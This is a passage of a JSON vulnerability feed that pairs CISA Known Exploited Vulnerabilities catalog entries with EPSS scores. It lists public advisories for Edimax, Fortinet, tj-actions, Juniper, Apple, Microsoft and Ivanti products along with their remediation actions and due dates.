CVE-2024-48248","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-48248 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-48248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-48248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-1316","cveId":"CVE-2025-1316","aliases":[],"kind":"vulnerability","title":"Edimax IC-7100 IP Camera OS Command Injection Vulnerability","summary":"Edimax IC-7100 IP camera contains an OS command injection vulnerability due to improper input sanitization that allows an attacker to achieve remote code execution via specially crafted requests. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization.","detail":"CISA added this entry on 2025-03-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-19","updatedAt":null,"regions":["Global"],"vendor":"Edimax","product":"IC-7100 IP Camera","stacks":["Edimax","IC-7100 IP Camera"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-19","dueAt":"2025-04-09","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.74482,"percentile":0.9949,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-1316","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-19","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-1316 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-1316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-1316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24472","cveId":"CVE-2025-24472","aliases":[],"kind":"vulnerability","title":"Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability","summary":"Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that allows a remote attacker to gain super-admin privileges via crafted CSF proxy requests.","detail":"CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-18","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiOS and FortiProxy","stacks":["Fortinet","FortiOS and FortiProxy"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-18","dueAt":"2025-04-08","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.07235,"percentile":0.94284,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24472","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24472 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24472, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-30066","cveId":"CVE-2025-30066","aliases":[],"kind":"vulnerability","title":"tj-actions/changed-files GitHub Action Embedded Malicious Code Vulnerability","summary":"tj-actions/changed-files GitHub Action contains an embedded malicious code vulnerability that allows a remote attacker to discover secrets by reading Github Actions Workflow Logs. These secrets may include, but are not limited to, valid AWS access keys, GitHub personal access tokens (PATs), npm tokens, and private RSA keys.","detail":"CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-18","updatedAt":null,"regions":["Global"],"vendor":"tj-actions","product":"changed-files GitHub Action","stacks":["Tj-actions","tj-actions","changed-files GitHub Action"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-18","dueAt":"2025-04-08","action":"Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.72092,"percentile":0.99426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-30066","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-30066 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-30066&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-30066, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-21590","cveId":"CVE-2025-21590","aliases":[],"kind":"vulnerability","title":"Juniper Junos OS Improper Isolation or Compartmentalization Vulnerability","summary":"Juniper Junos OS contains an improper isolation or compartmentalization vulnerability. This vulnerability could allows a local attacker with high privileges to inject arbitrary code.","detail":"CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-13","updatedAt":null,"regions":["Global"],"vendor":"Juniper","product":"Junos OS","stacks":["Juniper Networks","Juniper","Junos OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-13","dueAt":"2025-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01735,"percentile":0.77497,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-21590","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-21590 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-21590, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24201","cveId":"CVE-2025-24201","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products WebKit Out-of-Bounds Write Vulnerability","summary":"Apple iOS, iPadOS, macOS, and other Apple products contain an out-of-bounds write vulnerability in WebKit that may allow maliciously crafted web content to break out of Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.","detail":"CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-13","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Safari and WebKit","Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-13","dueAt":"2025-04-03","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03847,"percentile":0.90058,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24201","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24201 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24983","cveId":"CVE-2025-24983","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Win32k Use-After-Free Vulnerability","summary":"Microsoft Windows Win32 Kernel Subsystem contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0187,"percentile":0.79196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24983","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24983 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24983, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24984","cveId":"CVE-2025-24984","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTFS Information Disclosure Vulnerability","summary":"Microsoft Windows New Technology File System (NTFS) contains an insertion of sensitive Information into log file vulnerability that allows an unauthorized attacker to disclose information with a physical attack. An attacker who successfully exploited this vulnerability could potentially read portions of heap memory.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01994,"percentile":0.80563,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24984","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24984 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24984, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24985","cveId":"CVE-2025-24985","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability","summary":"Microsoft Windows Fast FAT File System Driver contains an integer overflow or wraparound vulnerability that allows an unauthorized attacker to execute code locally.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.0389,"percentile":0.90165,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24985","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24985 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24985, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24991","cveId":"CVE-2025-24991","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability","summary":"Microsoft Windows New Technology File System (NTFS) contains an out-of-bounds read vulnerability that allows an authorized attacker to disclose information locally.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02018,"percentile":0.80795,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24991","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24991 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24991, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-24993","cveId":"CVE-2025-24993","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability","summary":"Microsoft Windows New Technology File System (NTFS) contains a heap-based buffer overflow vulnerability that allows an unauthorized attacker to execute code locally.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02216,"percentile":0.82516,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-24993","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-24993 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-24993, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-26633","cveId":"CVE-2025-26633","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability","summary":"Microsoft Windows Management Console (MMC) contains an improper neutralization vulnerability that allows an unauthorized attacker to bypass a security feature locally.","detail":"CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-11","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-11","dueAt":"2025-04-01","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30391,"percentile":0.98219,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-26633","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-11","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-26633 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-26633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-13159","cveId":"CVE-2024-13159","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability","summary":"Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.","detail":"CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-10","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager (EPM)","stacks":["Ivanti","Endpoint Manager (EPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-10","dueAt":"2025-03-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99993,"percentile":0.99987,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-13159","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-13159 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-13159, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-13160","cveId":"CVE-2024-13160","aliases":[],"kind":"vulnerability","title":"Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability","summary":"Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.","detail":"CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","publishedAt":"2025-03-10","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Endpoint Manager (EPM)","stacks":["Ivanti","Endpoint Manager (EPM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2025-03-10","dueAt":"2025-03-31","action":"Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90985,"percentile":0.99805,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-13160","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2025-03-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-13160 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-13160, scored 2026-10-25. This is a model estimate, not proof of 